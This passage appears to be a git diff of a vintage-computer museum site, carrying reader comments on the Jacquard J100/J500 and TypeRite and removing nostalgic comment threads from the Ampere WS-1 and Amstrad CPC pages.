AM Jacquard, then Datronics, in the late '70s early '80s. I remember the Irish J505 - we sold them here. - - For a while they were great business - TypeRite, accounting programs, inventory control. It absolutely boomed. - - We installed J100s with 14 or 16 J105s in TAFE Colleges around Sydney. I now teach in one of the Colleges, and the Jacquard sign is still above the door to the old Jacquard room in the basement of my building 20 years later. It has PCs in it now. Sigh. - - author: Mike Hopkins (Australia) - date: Monday 28th October 2002 - text: |- - I used to work for the Irish distributor of Jacquard, a company called Memory Computer, based in Dublin. Memory's engineers actually developed the modifications to the J500 which turned it from a single user into a multi-user (up to 3 concurrent users) machine. From my recollection it had a maximum memory of 128kb (yes kb not MB). I believe they may have sold the design back to Jacquard, or AM-Jacquard as they became. Memory went on to manufacture its own PC like machine which was compatible with the Jacquard line, but not with the IBM PC. It included a cassette tape drive controllable from the keyboard, which was aimed at the dictation / word processing market. The Jacquard line had, what was at the time, a very good word processing application called Type-Rite. Memory Computer listed on the London Stock Exchange in the early 80's but went bust a few years later. - - Mike Hopkins - - author: Fred Roney (Chicago, IL USA) - date: Friday 30th September 2005 - text: |- - I had a few more memories come back.\ - The last Pertec drive used was a 24BM Drive. 3 fixed internal platters and 1 removable. Each platter was 6MB. It used a linear motor (Voice Coil), a grate and gratitude systems for positioning the heads. Quite a challenge to align.\ - Also used was the Control Data Corp CDC9762 80MB drive, interfaced through a Systems Industries Controller or Formatter.\ - Some systems had a Pertec Reel-Reel Tape drive with compliance arms, no vacuum column. Use of this device also required the use of a Pertec controller or formatter. NRZI and PE formats. - - Can you believe this, one of the last support calls I did (around 1988) was at the Kennedy Space Center in Florida. Boeing had a J300 system installed with 2 CDC9762 drives. Among other things, they used it to communicate over the internet to other contractors and University research centers. - - author: Robert Harvey (London, United Kingdom) - date: Monday 20th June 2005 - text: |- - I got a J500 up and running in the Bank of Credit and Commerce to word process the annual accounts while our computer division were still struggling to use other systems. We brought a second J500 in later and then upgraded one to a three screen J505 with a 5Mbyte fixed and 5Mbyte removable hard disc system. We continued to use this sytem until the the late 80s when PCs took over. TypeRite was well ahead of its time and in my opinion was not equalled until WordPerfect 5.1 hit the market. - - I also used the DataRite product on it. This used a COBOL like language with a form system that automatically generated the enviroment section of the source code. Of course you had the luxury of using TypeRite to edit the DataRite source files. The 16 bit error codes from the J500/505 werevery detailed and particularly useful when debugging applications. They were logically structured so the high bits told the programmer which subsystem had generated the error which was often enough to establish the error in my code. - - There was also a spelling checker called SpellRite. We experimented with this but made little practical use of it because it was very slow. You ran SpellRite as a batch program which generated exception files. These files were then manually checked and used to update the dictionary and to correct spellings if I recall correctly. - - One of my more interesting experiments was to demonstrate that AM could typeset documents directly from a J500 disc because they used a Jacquard computer in their phototypestting system. All that the technician operating the phototypesetter had to do was set up some macro to translate key control sequences into the equivalents of styles. (I believe that we could also have sent our documents for typesetting over a phone line if we had wanted to). My boss did not approve of this experiment and it came to nothing in the end. - - There is some doubt on this site as to the amount of ROM containing the Jacquard's microcode. From memory I think that it was 128Kbytes because I am sure that the system's total addressable memory space was 256Kbytes. But I could be wrong. I do recall that the J505 upgrade involved replacing a lot of dil packaged ROM chips. - - author: Cy foughty (Portland, OR) - date: Thursday 11th September 2003 - text: |- - I can't believe I stumbled across this site! This is great. I worked for ETV computer systems in Amarillo, Texas USA and later we moved to Dallas. We built a "modern" ( at the time) hard disk and tape backup subsystem for the J100 and J500. We also had a cpu upgrade board. I beleive we called it the J300. That was a long time ago. Actually Skip and Steve Butterfield designed and built the first ones. Later I moved the manufacturing to Dallas. - - The products breathed new life into the old systems. This was from 1983 to 1987. We sold the storage subsystems to Memory Ireland, Jacquard France, and othjers. I can't remember the distributor in Australia. - - We sold a lot of systems directly. I personally installed storage systems in NASA, the 103rd floor of the World Trade Center in New York city for Amercian Express, Texas Supreme Court and Appeals courts, and many others. - - This does bring back old memories. Really good ones. To this day, I still think that Type-Rite has word processing features that still aren't in Word or any other place. Really good features like the math filter bar to work on columns. If you think about it, it was the first spreadsheet and it was integrated into the word processor. These were great systems. - - So to be so windy but it was a good time for me. - - author: Skip Shaw (USA) - date: Friday 29th July 2022 - text: I’m Skip Shaw, a founding member of Jacquard Systems. Originally, I was in charge of hiring and managing all of the software engineers at Jacquard, later also acquiring responsibility for the hardware engineering (with leader/J500 inventor, Steve Butterfield) and then later taking over Marketing after Addressograph Multigraph (later AM International) acquired what became the AM Jacquard division. Out of college, I originally worked at TRW in Redondo Beach and as a result much of the “foundingâ€� software crew were TRW legacies…my then best friend, John McCulley (TypeRite) (John has passed away), Barbara Renshaw (later my wife) AND Jim Cook (both brilliant Operating System Software Engineers), Steve Nelson (my first office mate at TRW) (known primarily for the SORT Software that blew away the IBM OS 360 sort), and several others not mentioned (as of yet) on this site PLUS numerous “top notchâ€� software engineers, hardware engineers $ technicians (Ken Rubin and many others) - were gathered to create what continues to be recognized as one of the most innovative, farsighted software and computer systems vendors of its era. After the ATV acquisition of AM Jacquard occurred (due to the imminent bankruptcy of AM International), Steve Butterfield, Steve Nelson, (the 3 of us just happened to all be career Air Force Officers'' sons), Barb Renshaw, Bill Bailey (the Utilities Guru), Bob Hossely (the 3rd System II guru) and I (as CEO) formed The Peerless Group (later Peerless Systems) and took that company public on the NASDAQ. At Jacquard, we accomplished a lot of very unusual and forward looking products, perhaps the most publicly notable being John McCully’s “TypeRiteâ€� that was literally many years ahead of the competition. TypeRite achieved its stellar reputation because of John’s unusual creative thinking combined with the very farsighted design and implementation of the Jacquard Operating System (System II) and its attendant compilers. (TypeRrite was - partially written in assembly language, coupled with the Super Basic Compiler (implemented by Doug Ahl) and a very large portion of TypeRite’s capabilities and flexibilities were provided by the very “transparentâ€� and superbly integrated System II and Super Basic. And let''s don’t forget Diana Gaskell’s truly innovative "math libraryâ€� which itself "speed obliterated" the OS 360 speeds (just as the SORT had) in the many benchmarks that our customers generated. So, the Jacquard Technical Group was a family of innovators and doers that initially came as the very best in their respective fields (and thought they knew everything, and that their thoughts alone were the very best). What happened at Jacquard was that these “Super Engineersâ€� learned that they had brilliant peers, began to respect others’ ideas and integrate and meld these truly innovative ideas into a “fantastically integratedâ€� and forward-looking body of technologies… i.e., “an integrated whole.â€� - In the process of that respect and teamwork, Jacquard became a family that is still together in friendship today… and from time to time gathers electronically and physically to celebrate those enduring friendships. I’m proud and grateful to have had that opportunity and experience with “ourâ€� family. And we all appreciate the recognition that we continue to receive. - - author: Skip Shaw (USA) - date: Friday 29th July 2022 - text: I’m Skip Shaw, a founding member of Jacquard Systems. Originally, I was in charge of hiring and managing all of the software engineers at Jacquard, later also acquiring responsibility for the hardware engineering (with leader/J500 inventor, Steve Butterfield) and then later taking over Marketing after Addressograph Multigraph (later AM International) acquired what became the AM Jacquard division. Out of college, I originally worked at TRW in Redondo Beach and as a result much of the “foundingâ€� software crew were TRW legacies…my then best friend, John McCulley (TypeRite) (John has passed away), Barbara Renshaw (later my wife) AND Jim Cook (both brilliant Operating System Software Engineers), Steve Nelson (my first office mate at TRW) (known primarily for the SORT Software that blew away the IBM OS 360 sort), and several others not mentioned (as of yet) on this site PLUS numerous “top notchâ€� software engineers, hardware engineers $ technicians (Ken Rubin and many others) - were gathered to create what continues to be recognized as one of the most innovative, farsighted software and computer systems vendors of its era. After the ATV acquisition of AM Jacquard occurred (due to the imminent bankruptcy of AM International), Steve Butterfield, Steve Nelson, (the 3 of us just happened to all be career Air Force Officers'' sons), Barb Renshaw, Bill Bailey (the Utilities Guru), Bob Hossely (the 3rd System II guru) and I (as CEO) formed The Peerless Group (later Peerless Systems) and took that company public on the NASDAQ. At Jacquard, we accomplished a lot of very unusual and forward looking products, perhaps the most publicly notable being John McCully’s “TypeRiteâ€� that was literally many years ahead of the competition. TypeRite achieved its stellar reputation because of John’s unusual creative thinking combined with the very farsighted design and implementation of the Jacquard Operating System (System II) and its attendant compilers. (TypeRrite was - partially written in assembly language, coupled with the Super Basic Compiler (implemented by Doug Ahl) and a very large portion of TypeRite’s capabilities and flexibilities were provided by the very “transparentâ€� and superbly integrated System II and Super Basic. And let''s don’t forget Diana Gaskell’s truly innovative "math libraryâ€� which itself "speed obliterated" the OS 360 speeds (just as the SORT had) in the many benchmarks that our customers generated. So, the Jacquard Technical Group was a family of innovators and doers that initially came as the very best in their respective fields (and thought they knew everything, and that their thoughts alone were the very best). What happened at Jacquard was that these “Super Engineersâ€� learned that they had brilliant peers, began to respect others’ ideas and integrate and meld these truly innovative ideas into a “fantastically integratedâ€� and forward-looking body of technologies… i.e., “an integrated whole.â€� - In the process of that respect and teamwork, Jacquard became a family that is still together in friendship today… and from time to time gathers electronically and physically to celebrate those enduring friendships. I’m proud and grateful to have had that opportunity and experience with “ourâ€� family. And we all appreciate the recognition that we continue to receive. - - author: Steve Jones (United States) - date: Thursday 24th February 2022 - text: 'I have been doing more searching since finding this website earlier today.. I wanted to provide this resource for other Jacquard fans! Here''''s a magazine from 1983 that shows the system I was involved in: https://worldradiohistory.com/Archive-Broadcast-Engineering/BE/80s/BE-1983-05.pdf The cover picture is showing a television show being captioned by a J-100 and the software my stepfather''''s company wrote.. My personal involvement was just porting the software to the PC platform later in the 80s but now I''''m interested more in the history of the old J-100..' - - author: Steve Jones (US) - date: Wednesday 23rd February 2022 - text: I''m trying to remember/research the old Jacquard systems.. My stepfather owned a company called Translation Systems, INC which wrote some court reporting software, and then television captioning software using the same translation routines.. I first became aware in the mid-80s when I was hired to migrate the captioning side of the software over to the IBM PC. I never really did much with the Jacquard except for to review source code and run their software for purposes of comparing functionality to what I was writing on the PC, but I''m trying to find any information on the old systems.. Anyone else on this board ever deal with TSI or any of the translation software that was pretty common in the US courts and the Marine Corps in the late 70s and early 80s? Maybe someone who supported the captioning on Jacquard at NCI in Washington or CCDA in Toronto? The first live TV captioning was done on this system. It was the Superbowl in 1985! We eventually replaced the Jacquard with our - PC version, and then ultimately got replaced by systems by larger companies with bigger pockets! - - author: Barry Lawrence (UK) (United Kingdom) - date: Monday 7th September 2020 - text: I was involved with the launch of the J100 into the UK. Just rummaged through these names, many bringing back happy memories, especially Jenny, Lorna, Norman, Robin and Terry. - - author: Steve Klekas (San Diego, United States) - date: Wednesday 2nd September 2020 - text: My dad Nick got me a job as a J500 operator in Newbury Park. It was my first computer job. Not counting selling Ti calculators at the mall. I ended up being a technician. The j500 was a great computer to learn on being a bit slice architecture where all the instructions were on display as it were, coming out of the ROM and moving bits around in and out of RAM and the ALU. Didn''t know a bit from the bite when I started there but pretty much was able to learn all the basics, thanks to many hours at the machines , my dad, Mark Fletcher, and Mark(?) Hayes, the first two wizards I knew. Steve Butterfield was The Wizard in La who designed the J500 I was told. Met him years later at Teradata when it was still little. About 40 years ago. - - author: Lynn Shelley (Newbury Park, CA, USA) - date: Tuesday 28th April 2020 - text: Dick Cavanaugh hired me from CMC/Pertec in 1976 for tech support, had some good times at Jacquard. even got to spend 3 weeks in Bangkok, Thailand assisting Anunt Jethanamest''s sales office. I talked Bob Heinz into coming aboard in tech support, then left shortly afterwards for another job. I went to work for myself between ''81 and ''91, hardware support of about 70 Jacquard systems in the SoCal area. Jacquard computers didn''t start to disappear until the 486-based PCs came along, which spoke a lot for Jacquard''s hardware and software. I remember Ken Rubin, Steve Butterfield, Dick Cohen, Tom Mallen, Walter Rey, Edgar Bolton, Dick Cavanaugh obviously, Mark Crawford, Phil Wall, ''Dallas'' Alice, Kathy Doucette, Skip Shaw and Barb Renshaw, Jim Tury, Gladys Goodman, lots and lots of good people and good times. - - author: Keith Whitehead (New Zealand) - date: Wednesday 12th June 2019 - text: I have 4 Jacquards at home along with a shared hard drive . Never powered them up. The external hard drive, is HEAVY, 2 of us can only just do it. - - author: Francis Remkiewicz (California/USA) - date: Tuesday 30th April 2019 - text: |- - In 1979 I worked for the IRS in Washington, DC. I convinced the IRS to sole source an AM Jacquard J500 for creating a time and attendance automated system for Headquarters, IRS. I worked with the AMfolks for over 18 months until completion. I was the first to transmit our DC data to the Data Center in Detroit over a 300 baud acoustic coupler.\ - That application, restructured many times is still in use by the IRS.\ - By the way, my 3 year old daughter learned to spell on Type-rite. Many a Saturday and Sunday she would accompany her dad to the office. Does anyone remember the heat issues with the J500? The heat in DC regardless of the A/C was a constant problem. I am glad to have been a tiny part of your history. - - author: John Koneyak (Baltimore ) - date: Wednesday 13rd June 2018 - text: Man does this bring back memories. I worked for AM International, then ATV, then FDR as a Customer Engineer on Amtext 425, J100, J300, and the J500. I worked out of the Baltimore office with a great guy and good friend named Jim McElvaney. Man was he sharp! They would send us for training in Schaumburg. Wow what memories! - - author: David Geddes (Silicon Valley) - date: Monday 24th October 2016 - text: |- - I was rummaging through a box of old photos and ran across a picture I took of the factory where J100s were being built, somewhere around 1976. I was a bench technician at the time, and later worked on the E100 Embossers. I would be happy to share the photo, but can''t find a way to upload it. dgeddes@fastmail.fm\ - By the way, does anyone know what became of Jeff Chapin? - - author: John Lerno - date: Wednesday 21st September 2016 - text: Hello Carrol. I worked with you at ATV on Daimler :) - - author: Liza Loop (USA) - date: Friday 16th September 2016 - text: |- - If you want to see the brochure introducing the Jacquard 100 Videocomputer and its pricelist, go to: http://www.loopcntr.net/repository/2828.pdf - - Enjoy! Liza Loop - - author: Richard Smith (UK) - date: Friday 3rd June 2016 - text: I worked on J100 and J500 in the mid 80s while working for MBS Engineering in the Midlands with Gordon Whitehouse and Barry Brind ex Jaquard engineers. A lot of our systems had Pertec drives. Remember celaning heads and platters on PM visits. - - author: Noel Griffin (Ireland) - date: Monday 23rd November 2015 - text: I developed My-Plan the 3D spreadsheet that ran on J100 and J500. Ah System II - happy memories, but not fond of DD01 error 8''s :) TypeRite was superb - - author: Robin Bews (Reading, England) - date: Wednesday 23rd September 2015 - text: I worked for Jacquard Systems in the UK as an engineer. I worked with Jenny Robinson, Norman Tinklin, Terry Hart and Barry Lawrence. Where are you all? Had a couple of trips to Santa Monica to study the J100 with Kenny Rubin and the J500 with Steve Butter field. I also trained many AM staff at their training centre in Norwich. - - author: David Geddes (Fremont CA) - date: Friday 21st August 2015 - text: |- - Ken Rubin!! I remember you. You truly were the lead designer on the J100. I also remember Steve Butterfield and Matt, and Frank Hill. I was a repair technician in the lab at the time.\ - Later I worked on the Addressograph/Multigraph Credit Card Embosser (can''t remember the exact name), and installed one in the Bank of Ireland office in Dublin. It was the very first credit card machine in all of Ireland. I also remember Dave Smead, and would love to connect with all of you folks.\ - Nowadays I am the director of system architecture at a silicon valley ASIC startup. - - author: Ken Rubin (USA) - date: Monday 26th January 2015 - text: Anyone need images of the J100 and J500 Datapro awards? I still have pretty much a full set of framed awards. - - author: Fred Roney (Schaumburg, IL/US) - date: Monday 3rd November 2014 - text: |- - http://archives.chicagotribune.com/1982/02/06/page/61/article/business\ - Link to a very short 2/6/1982 Chicago Tribune article on AM selling Jacquard to Applied Technology Ventures of Santa Ana, CA. - - author: Fred Roney (Schaumburg, IL/US) - date: Monday 3rd November 2014 - text: |- - http://archives.chicagotribune.com/1982/02/06/page/61/article/business\ - Link to a very short 2/6/1982 Chicago Tribune article on AM selling Jacquard to Applied Technology Ventures of Santa Ana, CA. - - author: Fred Roney (Schaumburg, IL/US) - date: Monday 3rd November 2014 - text: |- - http://archives.chicagotribune.com/1982/02/06/page/61/article/business\ - Link to a very short 2/6/1982 Chicago Tribune article on AM selling Jacquard to Applied Technology Ventures of Santa Ana, CA. - - author: sean - date: Wednesday 22nd October 2014 - text: I worked on the Manafacture of the M55 - - author: Steve Baker (UK) - date: Monday 3rd March 2014 - text: I joined Jacquard from Wang in 1979. (Hi Jenny and Tim) the Type Rite software was good, but boy was the hardware dated compared to Wang. If only the J500 could have multiuser. After 9 months it was all over - I sometimes wonder if the £80ks worth of J100 I sold to an insurance co. inBristol ever shipped. Never mind I earned a lot of commission! - - author: Tom Morgan (Vallejo, CA) - date: Wednesday 7th November 2012 - text: Here is a hi back to Ken Rubin - Laura and I still remember flying out to Riverside with you for dinner one evening and spending a weekend at Mammoth with you as well. Hope things are good with you - those were fun times back in Santa Monica - - author: DAVID BROWN (RIVERSIDE CA.) - date: Sunday 11th March 2012 - text: I WAS THE COMPANY DELIVERY DRIVER FOR JACQUARD SYSTEMS IN SANTA MONICA CA. IN THE BEGINING DAYS OF THE COMPANY IN THE 70''S MY FIRST JOB. I REALLY LIKED THE PEOPLE I WORKED WITH AND FOR I GOT LAID OFF WHEN A INVESTER CAME ON BOARD HATED TO GO BUT I WENT TO IBM AND BECOME A RICH MAN IN THE COMPUTER BUSINESS. THANKS JAQUARD SYSTEMS FOR LETTING ME GO OR I JUST MAY HAVE BEEN A DRIVER ALL MY LIFE. FUN TIMES - - author: DAVID BROWN (RIVERSIDE CA.) - date: Sunday 11th March 2012 - text: I WAS THE COMPANY DELIVERY DRIVER FOR JACQUARD SYSTEMS IN SANTA MONICA CA. IN THE BEGINING DAYS OF THE COMPANY IN THE 70''S MY FIRST JOB. I REALLY LIKED THE PEOPLE I WORKED WITH AND FOR I GOT LAID OFF WHEN A INVESTER CAME ON BOARD HATED TO GO BUT I WENT TO IBM AND BECOME A RICH MAN IN THE COMPUTER BUSINESS. THANKS JAQUARD SYSTEMS FOR LETTING ME GO OR I JUST MAY HAVE BEEN A DRIVER ALL MY LIFE. FUN TIMES - - author: Tim Trent (United Kingdom) - date: Sunday 19th February 2012 - text: Just found Wikipedia didn''t have a page about AMJ. It does now. Hope I did enough on it that it doesn''t get $d. Loads to add, but I cant find many secondary sources, the kind they need to cite things in the articles. - - author: Tom Chesek (Harrisburg Pennsylvania/USA) - date: Friday 20th February 2009 - text: I received training on the J100 system and service them while employed at AM International in Harrisburg PA. PA Blue Shield, Book of the Month Club, and Hershey Foods are the customers that I recall using the J100 systems. I still have my 1979 Data Pro Honor Roll coffee mug with AM Jaquard Systems logo on it. I wish I had at least an electronic copy of a J100 system brochure. - - author: Ken Rubin (Seattle WA USA) - date: Friday 12th December 2008 - text: |- - For the UK folks, I had the pleasure of meeting up with Norman Tinklin back a decade or so ago. I''m in London this week and his cheery voice is still on his phone answer message so may be I''ll have a chance to say hello again. Cheers to all! - - Ken - - author: John Lerno - date: Monday 7th July 2008 - text: I remember doing the cats eye adjustment on the old pertec drives...remember when if you made the mistake and jiggled the drive how the head would slam back ....those were the days - - author: John Rouse (England) - date: Wednesday 25th June 2008 - text: |- - I worked for Varityper, and was trained on the Jacquard machines. I even went to Pertec for a course on disk drives. I remember the "little man" adjustment, to get the voice coil operated heads to align with the data tracks. - - I spent some time at High Wycombe on the commissioning, with a real character called Fritz - the first engineer I'd met who wore a bow tie. - - author: John McGrann (Ireland) - date: Thursday 4th May 2006 - text: I worked on J100's and J500's for a Jacquard distributor in Ireland, Memory Computers, I still have a J100 brochure. I wrote a system for a J100 using a product called Data-Rite, does anybody remember it ? I reckon that I was one of the few who used it. I moved from development into sales and sold J500 Type-Rite word processors, we used to beat Wang quite a bit. We had a guy Terry Fossey who decoded the J500 O/S and made it mulit user so we coul sell 3 user J500s !! - - author: Ken Rubin (Seatle, WA) - date: Wednesday 7th April 2004 - text: |- - Hi Tom, et al; - - Thought I'd add a note since I am the one who breathed the first breath of life into the first J100. I recall working with Tom and I'm sure he remembers me - the others, well... you can blame me I suppose. - - Cy, there's a good chance that the motherboard you got from Steve and Skip was based on the redesign that was completed just before AM international sold off the Jacquard Assets. I still have the DataPro Awards that were bestowed on the J100 and J500 - they nicely cover blank wallspace in my den/office. Jacquard built a lot of systems and was one of the key players and very instrumental in forging the way for desktop systems. oc_id: 527 source: url: https://web.archive.org/web/20230208113648/http://www.old-computers.com/museum/computer.asp?c=527 diff --git a/content/museum/ampere-ws-1.md b/content/museum/ampere-ws-1.md index 9872bfdd..e088cf78 100644 --- a/content/museum/ampere-ws-1.md +++ b/content/museum/ampere-ws-1.md @@ -68,6 +68,7 @@ params: - adverts - hardware - links + forum_thread: 82 photos: - title: AMPERE WS1 subtitle: '' @@ -117,25 +118,6 @@ params: - title: Web Wiz CAPTCHA url: http://www.webwizcaptcha.com text: The guys talking here surely know about the Ampere WS-1, and can teach you stuff about the APL language of course ! - comments: - - author: Josh Carlson (Usa) - date: Thursday 8th December 2022 - text: David, do you still have the Ampere? I’ve been trying to get my hands on one for years. Can you email me at helforamaATgmailDOTcom? I’m in the USA (Alabama) - - author: Fritz (Germany) - date: Tuesday 12th June 2018 - text: Do you still have the machine? - - author: David (USA) - date: Saturday 5th November 2016 - text: Oops. Message sent to Yuri. - - author: David (USA) - date: Saturday 5th November 2016 - text: |- - I have an Ampere WS-1 I want to sell. I would prefer to do this in the USA, but what are you offering? The unit works on D batteries, or with the included power adapter, and has the two manuals (looseleaf) and the Sharp APL manual (spiral-bound) that came with it. I have not sold anything outside the United States and am not certain what problems might arise. What would be your offer? - - David - - author: Yuri (Russia) - date: Wednesday 6th August 2014 - text: If someone owns the laptop let me know. Laptop needed for the museum of computer technology. I want to buy. leskovezATmail.ru oc_id: 66 source: url: https://web.archive.org/web/20230322115358/http://www.old-computers.com/museum/computer.asp?c=66 diff --git a/content/museum/amstrad-464-6128-plus.md b/content/museum/amstrad-464-6128-plus.md index 3062e009..45b314f4 100644 --- a/content/museum/amstrad-464-6128-plus.md +++ b/content/museum/amstrad-464-6128-plus.md @@ -15,6 +15,7 @@ params: - links - docs - videos + forum_thread: 45 photos: - title: CPC 464+ subtitle: '' @@ -525,70 +526,6 @@ params: - title: Amstrad CPC - French commercial url: http://video.google.com/googleplayer.swf?docId=1649912029980987973&hl=fr text: 'Length: 29 s' - comments: - - author: Syd Groves (Australia) - date: Wednesday 6th May 2020 - text: |- - Hello There,I am emailing you from Australia to see if you would be interested in a very unique proto-type Amstrad portable computor from the late 1980s.This proto-type was developed by the then Managing Director of Amstrad Australia, Mr Bordan Tkachuk, who passed on to my wife, who was in the IT field.At 12 plus Kgs it really wasn''t going far, but it is a very good example of how the personal computer market was being investigated by companies at the time.\ - If you are interested I can send photos and more details! - - Kind Regards\ - Syd Groves - - author: Noobsaibot73 (Madrid (Spain)) - date: Monday 15th April 2013 - text: |- - Hi Chris, - - What a pity !!!! Here in Spain, Amstrad supported the CPC until 1994, when the CPC''s and the rest of the 8 bits computers disappeared. - - author: Roger Jowett (Ulster) - date: Thursday 28th February 2013 - text: |- - http://www.youtube.com/watch?v$zsjTpFR0oYQ - - please help\ - trying to convert 8bit video for sam coupe\ - this is still not mode 3 interlaced with hmpr bit 5$6 CLUT alterations per scan line HELP we only need a DMA...\ - masterdos/basic atom lite support HELP - - author: chris (Australia) - date: Thursday 4th October 2012 - text: Sadly Amstrad Australia refused to import these and stopped supporting Amstrad CPC models by 1990. - - author: Malcolm Ramage (United Kingdom) - date: Friday 2nd March 2012 - text: |- - If you look at the specifications of the aborted Sinclair Loki and the specifications of the Amstrad CPC + series, they do look remarkably similar... - - Loki was supposed to have enhanced sound and graphics with hardware sprites, 4096 colours, DMA sound, light pen/light gun port and lots of other fancy stuff. - - Funny that. - - author: Lez Anderson (England) - date: Tuesday 14th September 2010 - text: |- - Has anyone put the Amstrad CPC onto a single chip FPGA/CPLD (field Programable Gate Array) .. I''ts already been done for other old computers, some runnning at 25Mhz plus !! - - If anyone has any information please post a message... - - author: Webmaster (France) - date: Friday 28th May 2010 - text: |- - Yes, you should have a look here:\ - http://www.amstrad.com/support/index.html - - author: Thomas (UK) - date: Thursday 27th May 2010 - text: Anyone knows anywhere where they fix these computers? - - author: Pepax (CZ) - date: Monday 4th February 2008 - text: The videoram chip is not an 18pin 41464 but an Amstrad-branded 20pin 40464, also found in the GX4000. - - author: Supersly (France) - date: Saturday 18th August 2007 - text: |- - About the 464 / 6128+ you made a few mistakes :\ - the computer does not have 64 hardware sprites, but only 16 at a size of 16x16 pixels. The sprites are using 15 other colors than the 16 of the palette, and have x/y zoom. - - The soundchip is the same AY as on the CPC, but controlable with a DMA : it is not "better than the Atari one", it is the same, but slower, and connected in stereo. - - In the field "colors" : only 16 colors, 31 if you add the sprites. - - author: Vincent (Belfast) - date: Tuesday 30th July 2002 - text: Does anyone know where I can download the manual for the cpc 6128+ related: - /museum/amstrad-cpc-464 - /museum/amstrad-cpc-5512 diff --git a/content/museum/amstrad-cpc-464.md b/content/museum/amstrad-cpc-464.md index 5b514094..04660a79 100644 --- a/content/museum/amstrad-cpc-464.md +++ b/content/museum/amstrad-cpc-464.md @@ -89,6 +89,7 @@ params: - links - docs - videos + forum_thread: 99 photos: - title: TOP VIEW subtitle: '' @@ -660,127 +661,6 @@ params: - title: Amstrad CPC - French commercial url: http://video.google.com/googleplayer.swf?docId=1649912029980987973&hl=fr text: 'Length: 29 s' - comments: - - author: Bob (Leicestershire, UK) - date: Thursday 14th November 2019 - text: I am trying to print out an asci file on an Amsoft CF2 compact floppy disc . Can anyone help ? - - author: Robyn Hibbert (Central Coast Australia) - date: Tuesday 16th September 2014 - text: I have an Amstrad Portable PPC512/640 One of the original laptops I think, in perfect condition with all accessories including the user instruction book, does anyone know anything about, is it worth anything ? - - author: Robyn Hibbert (Central Coast Australia) - date: Tuesday 16th September 2014 - text: I have an Amstrad Portable PPC512/640 One of the original laptops I think, in perfect condition with all accessories including the user instruction book, does anyone know anything about, is it worth anything ? - - author: Roger Jowett (Ulster) - date: Thursday 28th February 2013 - text: |- - http://www.youtube.com/watch?v$zsjTpFR0oYQ - - please help\ - trying to convert 8bit video for sam coupe\ - this is still not mode 3 interlaced with hmpr bit 5$6 CLUT alterations per scan line HELP we only need a DMA...\ - masterdos/basic atom lite support HELP - - author: Antonio (Italy) - date: Wednesday 21st November 2012 - text: Text windows ... and the "COPY" key :D - - author: Chris (Australia) - date: Thursday 4th October 2012 - text: 'The World of Amstrad still lives on - check out the CPC wiki: http://cpcwiki.eu/index.php/Main_Page !!!' - - author: Yves (Belgium) - date: Thursday 31st May 2012 - text: |- - Hi this was my first computer !!!\ - At school we had MO5 and TO7\ - We had a small computer club formed of 6 people to create small games.\ - I wish i had it still.\ - I''m currently looking the ebay to buy a 6128 - - author: Allan (England) - date: Friday 27th April 2012 - text: |- - Ahhh, the Amstrad CPC464. How fondly I remember mine, sat on a rickety old table in the corner of the living room, with its green screen (couldn''t afford the colour version). - - Learned my first assembly code on it. Even my mother loved it, and was often to be found playing a fruit machine game on it, for hours on end. I wish I still had it, if only for nostalgia reasons. - - author: Peter Belbin (Gold Coast/Australia) - date: Friday 16th March 2012 - text: |- - I have a amstrad computer with at least 10 games $ the menu book for sale.1 of the games is Hobbitt can anybody tell me are these worth anything or not please before i throw the lot out.\ - Thanks Peter - - author: dave - date: Sunday 31st July 2011 - text: i bought mine second hand from a 12 year old/ it had dozens of games!!! I loved Dizzy and Jet Set Willy. I later bought a hard drive and a modulator in order to play in full colour! Awesome - - author: Phil (London) - date: Thursday 4th November 2010 - text: George Johnson - uncanny how similar our experiences are. My brother had a Dragon 32 and then I got a CPC 464 - I loved it and spent many a hour writing programs for it. The 464 and the ZX81 are the two reasons I got into IT, now I''m an Oracle DBA too! - - author: Marcos (England) - date: Thursday 16th September 2010 - text: |- - These are now on an CYCLCONE chip using a teasic devlopment board ( Altera DE1 board), running at 24MHz !! - - See the symbos web site ! - - author: Conrad (Scotland) - date: Monday 5th July 2010 - text: I''ve still got mine, just firing it up now to see if it still works! - - author: George Johnson (London, UK) - date: Monday 3rd May 2010 - text: I well remember getting it. We had had a Dragon 32 and my old man wanted an "upgrade" and bought a 464. I had no games and Amstrad had just started an offer to give away 12 games after we had bought ours. So I old man went down to Rumbelows ( electrical store ) and demanded the games, even though he was technically not entitled and he got them! I then managed to convince 4 mates to get CPCs and we had a good little trading ring going for well over 3 years! CPC was the first time me and my old man had ever played with computer databases, most likely responsible for me working in IT as an Oracle DBA! Gryzor, Glider Rider and Enduro Racer. Level 9 games had to be some of the best going. - - author: Bernadette (England) - date: Friday 23rd May 2008 - text: |- - It was my very first computer when I was about eight or nine years old! I remember my mam let me load a game, and I had time for a bath while it was loading. Me and my brother used to insist that my mam let us bring it to our grandmas on a weekend and it wasn't exactly a light thing to carry.\ - My bro got a black marker pen and scribbled over all the keys the little sod.\ - Its in the attic now and I'm at the family home for the weekend, I'm trying to convince my mam to let me bring it down! - - author: Francisco Martin (España (Spain)) - date: Saturday 29th September 2007 - text: I was 14 y.o. when my CPC 464 arrived to my life, it was my first computer, as the color monitor was very expensive I have one which used green phosphorus, it was an incredible machine. I used to spend too many hours with two games "La Abadia del Crimen" and "Saboteur2". The PC's can't provide you the same feelings, neither the emulators, if you have used one CPC is forever, is in your heart and mind. Thanks to Mr. Sugar for giving us the CPC, one dream with a computer body. - - author: Uncle Mex (Glasgow, Scotland) - date: Wednesday 27th June 2007 - text: What a wonderful old machine the CPC was - the best computer (or console for that matter) I ever had. Gryzor, Exolon, Nebulus, Renegade, all magnificent 8-bit masterpieces... but I still go back to Chuckie Egg and Thrust even to this very day :-) - - author: Anon (Belfast) - date: Thursday 4th January 2007 - text: |- - My brother spilt milk on our family 464 and I got the blame for it. The ripples are still being felt to this day. - - Ahhh - the sweet song as you waited 20 mins for Knightlore to load... Buying the mags for the cheats. - - author: stephen hendrick (wales) - date: Friday 4th August 2006 - text: |- - hi my name is ste i'm ninteen and strangely adicted to retro games ,,, i've recentley heard about using an ipod to play tzx and cdt formats through a tape adapter with a jack at one end.\ - having found a few working tzx games i have become excited about the concept. for months i have searched the internet far and wide for Fruity frank in tzx or cdt format (old amstrad game) if anyone out there has it in this format please mail me it i may even pay for it when i certify you are genuine......cheers - - author: Owen (Cork, Ireland) - date: Sunday 3rd April 2005 - text: |- - The best computer ever! Remember these games like Harrier Attack, Galatic Plague, Roland on the Ropes/Caves, Bridge It, Scaletric.\ - There was nothing quite like waiting 5-20 minutes for a game to load! - - author: James penketh (Horwich) - date: Tuesday 12th October 2004 - text: I love amstrad 464+ It is the best! - - author: Neville (Lleida, 